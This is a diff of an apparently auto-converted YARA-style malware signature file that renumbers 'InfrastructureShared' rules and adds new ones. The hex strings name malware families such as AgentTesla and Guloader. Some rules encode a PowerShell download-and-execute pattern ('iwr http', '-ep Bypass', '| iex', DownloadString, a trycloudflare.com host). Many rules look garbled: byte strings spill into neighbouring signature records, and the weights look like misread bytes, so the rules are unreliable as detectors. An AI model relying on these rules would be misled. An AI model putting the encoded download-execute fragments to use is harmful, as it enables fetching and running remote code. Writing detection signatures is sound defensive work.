-rule _InfrastructureShared_13911{ +rule _InfrastructureShared_14826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158097,7 +168677,7 @@ rule _InfrastructureShared_13911{ ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*14403+(#a_79_2 & 1)*25439+(#a_00_3 & 1)*117+(#a_21_4 & 1)*12592) >=5 } -rule _InfrastructureShared_13912{ +rule _InfrastructureShared_14827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158109,7 +168689,7 @@ rule _InfrastructureShared_13912{ ((#a_5f_0 & 1)*16931+(#a_00_2 & 1)*97+(#a_48_3 & 1)*8448) >=5 } -rule _InfrastructureShared_13913{ +rule _InfrastructureShared_14828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158123,7 +168703,7 @@ rule _InfrastructureShared_13913{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*11574+(#a_00_2 & 1)*28265+(#a_58_3 & 1)*2304+(#a_2e_4 & 1)*25972) >=5 } -rule _InfrastructureShared_13914{ +rule _InfrastructureShared_14829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158136,7 +168716,7 @@ rule _InfrastructureShared_13914{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1026+(#a_73_3 & 1)*20993+(#a_6e_4 & 1)*22330) >=5 } -rule _InfrastructureShared_13915{ +rule _InfrastructureShared_14830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -158150,7 +168730,7 @@ rule _InfrastructureShared_13915{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29793+(#a_46_2 & 1)*16675+(#a_00_3 & 1)*50+(#a_61_4 & 1)*30575) >=5 } -rule _InfrastructureShared_13916{ +rule _InfrastructureShared_14831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -158165,7 +168745,7 @@ rule _InfrastructureShared_13916{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*50+(#a_61_2 & 1)*30575+(#a_54_3 & 1)*18467+(#a_36_4 & 1)*11825+(#a_77_5 & 1)*24934) >=5 } -rule _InfrastructureShared_13917{ +rule _InfrastructureShared_14832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -158180,7 +168760,7 @@ rule _InfrastructureShared_13917{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*11825+(#a_77_2 & 1)*24934+(#a_b9_3 & 1)*-11470+(#a_65_4 & 1)*16687+(#a_01_5 & 1)*13158) >=5 } -rule _InfrastructureShared_13918{ +rule _InfrastructureShared_14833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -158195,7 +168775,7 @@ rule _InfrastructureShared_13918{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_cc_2 & 1)*0+(#a_2d_3 & 1)*12600+(#a_6f_4 & 1)*29550+(#a_72_5 & 1)*28531) >=6 } -rule _InfrastructureShared_13919{ +rule _InfrastructureShared_14834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -158210,7 +168790,7 @@ rule _InfrastructureShared_13919{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-32475+(#a_62_2 & 1)*13361+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_13920{ +rule _InfrastructureShared_14835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -158224,7 +168804,7 @@ rule _InfrastructureShared_13920{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25454+(#a_00_3 & 1)*0+(#a_52_4 & 1)*21320+(#a_5c_5 & 1)*9473) >=6 } -rule _InfrastructureShared_13921{ +rule _InfrastructureShared_14836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -158239,7 +168819,7 @@ rule _InfrastructureShared_13921{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*-32485+(#a_72_2 & 1)*28515+(#a_6f_3 & 1)*21611+(#a_74_4 & 1)*12146+(#a_6c_5 & 1)*17921) >=6 } -rule _InfrastructureShared_13922{ +rule _InfrastructureShared_14837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -158257,7 +168837,7 @@ rule _InfrastructureShared_13922{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*28271+(#a_61_2 & 1)*24941+(#a_6c_3 & 1)*17921+(#a_77_4 & 1)*25966+(#a_78_5 & 1)*30307+(#a_38_6 & 1)*14444+(#a_40_7 & 1)*8995+(#a_17_8 & 1)*-28637) >=6 } -rule _InfrastructureShared_13923{ +rule _InfrastructureShared_14838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -158273,7 +168853,7 @@ rule _InfrastructureShared_13923{ ((#a_77_0 & 1)*16675+(#a_50_1 & 1)*1280+(#a_00_2 & 1)*104+(#a_74_3 & 1)*26625+(#a_57_4 & 1)*19777+(#a_38_5 & 1)*14392+(#a_65_6 & 1)*29250) >=7 } -rule _InfrastructureShared_13924{ +rule _InfrastructureShared_14839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -158289,7 +168869,7 @@ rule _InfrastructureShared_13924{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27960+(#a_38_2 & 1)*14434+(#a_3a_3 & 1)*19521+(#a_0a_4 & 1)*8995+(#a_2f_5 & 1)*18771+(#a_00_6 & 1)*115) >=7 } -rule _InfrastructureShared_13925{ +rule _InfrastructureShared_14840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -158300,24 +168880,41 @@ rule _InfrastructureShared_13925{ $a_72_3 = {00 07 01 54 4c 6f 61 64 65 72 01 00 06 01 53 74 72 6f 6b 73 01 00 09 01 23 23 23 23 40 23 23 23 23 01 00 0b 01 58 58 2d 58 58 2d 58 58 2d 58 58 01 00 0b 01 43 47 2d 43 47 2d 43 47 2d 43 47 00 00 78 cc 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 42 53 21 4d 54 42 00 05 00 19 } //21364 $a_7b_4 = {02 00 } //515 $a_01_5 = {03 2b 7d 90 01 03 04 02 7b 90 01 03 04 90 00 01 00 07 01 73 4b 65 4e 42 71 31 01 00 38 01 57 00 69 00 6e 00 46 00 6f 00 72 00 6d 00 73 00 5f 00 52 00 65 00 63 00 75 00 72 00 73 00 69 00 76 00 65 00 46 00 6f 00 72 00 6d 00 43 00 72 00 65 00 61 00 74 00 65 00 01 00 34 01 57 00 69 00 6e 00 46 00 6f 00 72 00 6d 00 73 00 5f 00 53 00 65 00 65 00 49 00 6e 00 6e 00 65 00 72 00 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 00 00 } //10244 - $a_00_7 = {09 00 21 23 50 55 41 3a } //8 + $a_00_7 = {08 00 21 23 48 53 54 52 } //8 condition: ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*8960+(#a_45_2 & 1)*1792+(#a_72_3 & 1)*21364+(#a_7b_4 & 1)*515+(#a_01_5 & 1)*10244+(#a_00_7 & 1)*8) >=7 } -rule _InfrastructureShared_13926{ +rule _InfrastructureShared_14841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 42 53 21 4d 54 42 00 05 00 19 03 02 02 7b 3f 02 00 04 28 90 01 03 2b 7d 90 01 03 04 02 7b 90 01 03 04 90 00 01 00 07 01 73 4b 65 4e 42 71 31 01 00 } //16675 $a_00_1 = {69 00 6e 00 46 00 6f 00 72 00 6d 00 73 00 5f 00 52 00 65 00 63 00 75 00 72 00 73 00 69 00 76 00 65 00 46 00 6f 00 72 00 6d 00 43 00 72 00 65 00 61 00 74 00 65 00 01 00 34 01 57 00 69 00 6e 00 46 00 6f 00 72 00 6d 00 73 00 5f 00 53 00 65 00 65 00 49 00 6e 00 6e } //312 - $a_00_3 = {63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 00 00 78 cc 00 00 08 00 08 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 0e 80 01 6f 70 65 72 61 73 65 74 75 70 2e 65 78 65 01 00 0a 80 01 4d 53 65 74 75 70 2e 65 78 65 01 00 1e 80 01 5c 42 6f 6f 5c 43 6f 64 65 5c 4f 66 66 65 72 67 61 74 65 5c 4d 75 6c 74 69 53 65 74 75 70 01 00 } //69 + $a_00_3 = {63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 00 00 78 cc 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 55 30 31 21 4d 54 42 00 01 00 0e 81 01 62 61 6e 64 61 67 65 72 65 74 2e 62 6f 72 01 00 16 81 01 66 6f 72 61 6e 64 72 69 6e 67 73 75 76 69 6c 6c 69 67 2e 62 75 72 01 00 0f 81 01 73 63 68 69 7a 6f 6e 65 75 72 61 } //69 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*312+(#a_00_3 & 1)*69) >=8 } -rule _InfrastructureShared_13927{ +rule _InfrastructureShared_14842{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 55 30 31 21 4d 54 42 00 01 00 0e 81 01 62 61 6e 64 61 67 65 72 65 74 2e 62 6f 72 01 00 16 81 01 66 6f 72 61 6e 64 72 69 6e 67 73 75 76 69 6c 6c 69 67 2e 62 75 72 01 00 0f 81 01 73 63 68 69 7a 6f } //18467 + $a_72_1 = {2e 6a 70 67 01 00 11 81 01 4c 65 6b 74 6f 72 61 74 65 72 6e 65 73 2e 74 78 74 01 00 0d 81 01 53 74 62 6c 6f 6b 6b 65 6e 2e 65 72 65 01 00 0c 81 01 61 6b 74 72 69 63 65 6e 2e 6a 70 67 01 00 0e 81 01 68 65 74 65 72 6f 70 68 79 6c 65 73 69 73 01 00 11 81 01 61 64 67 61 6e 67 73 6b 75 72 73 75 73 2e 74 78 74 00 00 78 cc 00 00 08 00 08 00 09 00 21 23 50 } //25966 + $a_42_2 = {6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 0e 80 01 6f 70 65 72 61 73 65 74 75 70 2e 65 78 65 01 00 0a 80 01 4d 53 65 74 75 70 2e 65 78 65 01 00 1e 80 01 5c 42 6f 6f } //16725 + $a_64_3 = {5c 4f 66 66 65 72 67 61 74 65 5c 4d 75 6c 74 69 53 65 74 75 70 01 00 0d 80 01 50 6c 61 79 47 61 6d 65 73 2e 70 72 6f 01 00 14 80 01 33 36 30 74 6f 74 61 6c 73 65 63 75 72 69 74 79 2e 63 6f 6d 01 00 0f 80 01 61 64 62 6c 6f 63 6b 66 61 73 74 2e 63 6f 6d 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 06 80 01 6f 66 66 65 72 73 01 } //17244 + $a_01_4 = {6f 66 66 65 72 4d 61 74 63 68 00 00 78 cc 00 00 08 00 08 00 0a 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 4b 21 4d 54 42 00 01 00 0b 80 01 57 65 62 52 65 73 70 6f 6e 73 65 01 00 0b 80 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 11 80 01 47 65 74 52 65 73 6f 75 72 63 65 53 74 72 69 6e 67 01 00 09 80 01 41 70 70 44 6f 6d 61 69 6e 01 } //2560 + $a_01_5 = {57 65 62 53 65 72 76 69 63 65 73 01 00 10 80 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0a 80 01 57 65 62 52 65 71 75 65 73 74 01 00 07 80 01 58 4f 2d 4a 41 4d 2e 01 00 0a 80 01 5f 54 50 61 73 73 77 6f 72 64 01 00 07 80 01 43 4f 2d 4a 41 4d 2e 00 00 78 cc 00 00 0c 00 0c 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 } //2816 + $a_72_6 = {5a 41 21 4d 54 42 00 0a 00 5e 01 43 00 6f 00 75 00 6c 00 64 00 20 00 6e 00 6f 00 74 00 20 00 42 00 41 00 53 00 45 00 36 00 34 00 20 00 44 00 65 00 63 00 6f 00 64 00 65 00 20 00 74 00 65 00 78 00 74 00 20 00 61 00 66 00 74 00 65 00 72 00 20 00 55 00 52 00 4c 00 20 00 44 00 65 00 63 00 6f 00 64 00 69 00 } //28270 + $a_00_7 = {01 00 1a 01 42 00 61 00 73 00 65 00 36 00 34 00 20 00 45 00 6e 00 63 00 6f 00 64 00 65 00 01 00 16 01 53 00 41 00 4d 00 4c 00 20 00 44 00 65 00 63 00 6f 00 64 00 65 00 00 00 78 cc 00 00 0c 00 0c 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 50 73 44 6f 77 2e } //110 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25966+(#a_42_2 & 1)*16725+(#a_64_3 & 1)*17244+(#a_01_4 & 1)*2560+(#a_01_5 & 1)*2816+(#a_72_6 & 1)*28270+(#a_00_7 & 1)*110) >=8 + +} +rule _InfrastructureShared_14843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -158332,7 +168929,7 @@ rule _InfrastructureShared_13927{ ((#a_41_0 & 1)*20515+(#a_6c_2 & 1)*384+(#a_66_4 & 1)*384+(#a_01_5 & 1)*2304+(#a_53_6 & 1)*13366+(#a_00_7 & 1)*65) >=8 } -rule _InfrastructureShared_13928{ +rule _InfrastructureShared_14844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -158341,16 +168938,16 @@ rule _InfrastructureShared_13928{ $a_65_1 = {6f 75 72 63 65 53 74 72 69 6e 67 01 00 09 80 01 41 70 70 44 6f 6d 61 69 6e 01 00 0b 80 01 57 65 62 53 65 72 76 69 63 65 73 01 00 10 80 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0a 80 01 57 65 62 52 65 71 75 65 73 74 01 00 07 80 01 } //29797 $a_4a_2 = {4d 2e 01 00 0a 80 01 5f 54 50 61 73 73 77 6f 72 64 01 00 07 80 01 43 4f 2d 4a 41 4d 2e 00 00 78 cc 00 00 0c 00 0c 00 03 00 21 23 41 4c } //20312 $a_72_3 = {6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 5a 41 21 4d 54 42 00 0a 00 5e 01 43 00 6f 00 75 00 6c 00 64 00 20 00 6e 00 6f 00 74 00 20 00 42 00 41 00 53 00 45 00 36 00 34 00 20 00 44 00 65 00 63 00 6f 00 64 00 65 00 20 } //14918 - $a_00_5 = {20 00 61 00 66 00 74 00 65 00 72 00 20 00 55 00 52 00 4c 00 20 00 44 00 65 00 63 00 6f 00 64 00 69 00 6e 00 67 00 01 00 1a 01 42 00 61 00 73 00 65 00 36 00 34 00 20 00 45 00 6e 00 63 00 6f 00 64 00 65 00 01 00 16 01 53 00 41 00 4d 00 4c 00 20 00 44 00 65 00 63 00 6f 00 64 00 65 00 00 00 78 cc 00 00 0d 00 0d 00 09 00 21 23 48 53 54 52 3a 54 72 6f } //120 - $a_3a_6 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4c 31 30 39 00 05 00 25 01 24 65 65 66 33 34 33 33 65 2d 66 35 62 35 2d 34 33 66 62 2d 39 37 31 66 2d 38 66 65 33 34 61 33 64 61 37 38 32 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 70 6c 61 63 65 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 } //24938 - $a_70_7 = {73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 06 01 42 69 74 6d 61 70 01 00 0d 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 08 01 47 65 74 42 79 74 65 73 00 00 78 cc 00 00 0e 00 0e 00 07 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 72 6f 69 64 2e 41 21 64 68 61 00 0a 00 } //26948 - $a_67_8 = {70 90 01 01 61 70 69 2e 90 00 03 00 26 03 5f 2f 55 73 65 72 73 2f 75 73 65 72 2f 90 02 20 2f 67 72 70 63 61 70 69 2e 28 2a 43 } //781 - $a_61_9 = {64 29 2e 90 00 01 00 10 03 2f 69 6d 70 90 01 01 61 6e 74 2e 67 6f 00 90 00 01 00 0f 03 2f 73 63 72 90 01 01 65 6e 2e 67 6f 00 90 00 01 00 0f 03 2f 63 69 70 90 01 01 65 72 2e 67 6f 00 90 00 01 00 11 03 2f 77 6f 72 90 01 01 64 2e 70 62 2e 67 6f 00 90 00 01 00 13 03 2e 43 61 70 74 90 01 01 72 65 53 63 72 65 65 6e 00 90 00 00 00 } //28015 + $a_00_5 = {20 00 61 00 66 00 74 00 65 00 72 00 20 00 55 00 52 00 4c 00 20 00 44 00 65 00 63 00 6f 00 64 00 69 00 6e 00 67 00 01 00 1a 01 42 00 61 00 73 00 65 00 36 00 34 00 20 00 45 00 6e 00 63 00 6f 00 64 00 65 00 01 00 16 01 53 00 41 00 4d 00 4c 00 20 00 44 00 65 00 63 00 6f 00 64 00 65 00 00 00 78 cc 00 00 0c 00 0c 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a } //120 + $a_6f_6 = {6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 50 73 44 6f 77 2e 43 21 4d 54 42 00 02 00 0a 81 01 63 6d 64 2e 65 78 65 20 2f 63 02 00 0e 81 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 02 00 0a 81 01 2d 65 70 } //28257 + $a_70_7 = {73 73 02 00 08 81 01 69 77 72 20 68 74 74 70 02 00 13 81 01 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 02 00 0a 81 01 24 65 6e 76 3a 54 45 4d 50 5c 01 00 05 81 01 7c 20 69 65 78 01 00 0e 81 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 01 00 14 81 01 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 00 00 78 cc 00 00 0d 00 0d 00 09 00 21 } //16928 + $a_54_8 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4c 31 30 39 00 05 00 25 01 24 65 65 66 33 34 33 33 65 2d 66 35 62 35 2d 34 33 66 62 2d 39 37 31 66 2d 38 66 65 33 34 61 33 64 61 37 38 32 01 00 06 01 49 6e 76 6f 6b 65 01 } //18467 + $a_52_9 = {70 } //1792 p condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29797+(#a_4a_2 & 1)*20312+(#a_72_3 & 1)*14918+(#a_00_5 & 1)*120+(#a_3a_6 & 1)*24938+(#a_70_7 & 1)*26948+(#a_67_8 & 1)*781+(#a_61_9 & 1)*28015) >=8 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29797+(#a_4a_2 & 1)*20312+(#a_72_3 & 1)*14918+(#a_00_5 & 1)*120+(#a_6f_6 & 1)*28257+(#a_70_7 & 1)*16928+(#a_54_8 & 1)*18467+(#a_52_9 & 1)*1792) >=8 } -rule _InfrastructureShared_13929{ +rule _InfrastructureShared_14845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -158361,7 +168958,25 @@ rule _InfrastructureShared_13929{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=12 } -rule _InfrastructureShared_13930{ +rule _InfrastructureShared_14846{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 09 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 50 73 44 6f 77 2e 43 21 4d 54 42 00 02 00 0a 81 01 63 6d 64 2e 65 78 65 20 2f 63 02 00 0e 81 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 } //21539 + $a_81_1 = {2d 65 70 20 42 79 70 61 73 73 } //2 -ep Bypass + $a_81_2 = {69 77 72 20 68 74 74 70 } //2 iwr http + $a_81_3 = {2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f } //2 .trycloudflare.com/ + $a_81_4 = {24 65 6e 76 3a 54 45 4d 50 5c } //2 $env:TEMP\ + $a_81_5 = {7c 20 69 65 78 } //1 | iex + $a_81_6 = {44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 } //1 DownloadString + $a_81_7 = {53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 } //1 System.Net.WebClient + $a_cc_8 = {00 0d 00 0d 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4c 31 30 39 00 05 00 25 01 24 65 65 66 33 34 33 33 65 2d 66 35 62 35 2d 34 33 66 62 2d 39 37 31 66 2d 38 66 65 33 34 61 33 64 61 37 38 32 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 70 6c 61 63 65 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_cc_8 & 1)*0) >=12 + +} +rule _InfrastructureShared_14847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -158377,7 +168992,7 @@ rule _InfrastructureShared_13930{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*1792+(#a_65_2 & 1)*24940+(#a_41_5 & 1)*8448+(#a_70_6 & 1)*26410+(#a_01_7 & 1)*29295+(#a_0a_8 & 1)*5894) >=13 } -rule _InfrastructureShared_13931{ +rule _InfrastructureShared_14848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -158392,7 +169007,7 @@ rule _InfrastructureShared_13931{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17194+(#a_00_3 & 1)*16+(#a_4c_4 & 1)*21325+(#a_06_5 & 1)*1809+(#a_00_6 & 1)*2050) >=14 } -rule _InfrastructureShared_13932{ +rule _InfrastructureShared_14849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -158406,7 +169021,7 @@ rule _InfrastructureShared_13932{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5078+(#a_17_2 & 1)*4362+(#a_02_3 & 1)*12553+(#a_0b_4 & 1)*-11772) >=16 } -rule _InfrastructureShared_13933{ +rule _InfrastructureShared_14850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -158419,7 +169034,7 @@ rule _InfrastructureShared_13933{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*-28632+(#a_7b_3 & 1)*2835+(#a_90_4 & 1)*2833) >=18 } -rule _InfrastructureShared_13934{ +rule _InfrastructureShared_14851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -158433,7 +169048,7 @@ rule _InfrastructureShared_13934{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*1041+(#a_08_2 & 1)*12551+(#a_00_4 & 1)*95+(#a_4c_5 & 1)*21325) >=20 } -rule _InfrastructureShared_13935{ +rule _InfrastructureShared_14852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 07 00 21 " @@ -158447,7 +169062,7 @@ rule _InfrastructureShared_13935{ ((#a_4e_0 & 1)*20259+(#a_69_1 & 1)*25957+(#a_6e_2 & 1)*21349+(#a_00_4 & 1)*116+(#a_6e_5 & 1)*22330) >=40 } -rule _InfrastructureShared_13936{ +rule _InfrastructureShared_14853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -158459,7 +169074,7 @@ rule _InfrastructureShared_13936{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*68+(#a_00_2 & 1)*30720) >=300 } -rule _InfrastructureShared_13937{ +rule _InfrastructureShared_14854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 12 00 21 " @@ -158485,7 +169100,7 @@ rule _InfrastructureShared_13937{ ((#a_4c_0 & 1)*21539+(#a_b0_2 & 1)*-25343+(#a_01_3 & 1)*-28440+(#a_08_4 & 1)*-29720+(#a_03_5 & 1)*257+(#a_01_6 & 1)*-28671+(#a_01_7 & 1)*-28555+(#a_08_8 & 1)*-29951+(#a_6f_9 & 1)*30300+(#a_61_10 & 1)*27749+(#a_00_11 & 1)*75+(#a_00_12 & 1)*75+(#a_00_13 & 1)*80+(#a_00_14 & 1)*11844+(#a_01_15 & 1)*-28608+(#a_02_16 & 1)*-28440+(#a_01_17 & 1)*-28603) >=101 } -rule _InfrastructureShared_13938{ +rule _InfrastructureShared_14855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -158495,7 +169110,7 @@ rule _InfrastructureShared_13938{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13939{ +rule _InfrastructureShared_14856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -158506,7 +169121,7 @@ rule _InfrastructureShared_13939{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*28525) >=1 } -rule _InfrastructureShared_13940{ +rule _InfrastructureShared_14857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -158517,7 +169132,7 @@ rule _InfrastructureShared_13940{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*334) >=1 } -rule _InfrastructureShared_13941{ +rule _InfrastructureShared_14858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -158530,7 +169145,7 @@ rule _InfrastructureShared_13941{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*400+(#a_45_2 & 1)*513+(#a_90_3 & 1)*16836) >=1 } -rule _InfrastructureShared_13942{ +rule _InfrastructureShared_14859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -158546,7 +169161,7 @@ rule _InfrastructureShared_13942{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*1501+(#a_42_2 & 1)*19745+(#a_01_3 & 1)*28420+(#a_02_4 & 1)*-28533+(#a_01_5 & 1)*-15873+(#a_54_6 & 1)*18467) >=1 } -rule _InfrastructureShared_13943{ +rule _InfrastructureShared_14860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -158557,7 +169172,7 @@ rule _InfrastructureShared_13943{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1537) >=2 } -rule _InfrastructureShared_13944{ +rule _InfrastructureShared_14861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -158568,7 +169183,7 @@ rule _InfrastructureShared_13944{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-511) >=2 } -rule _InfrastructureShared_13945{ +rule _InfrastructureShared_14862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -158579,7 +169194,7 @@ rule _InfrastructureShared_13945{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule 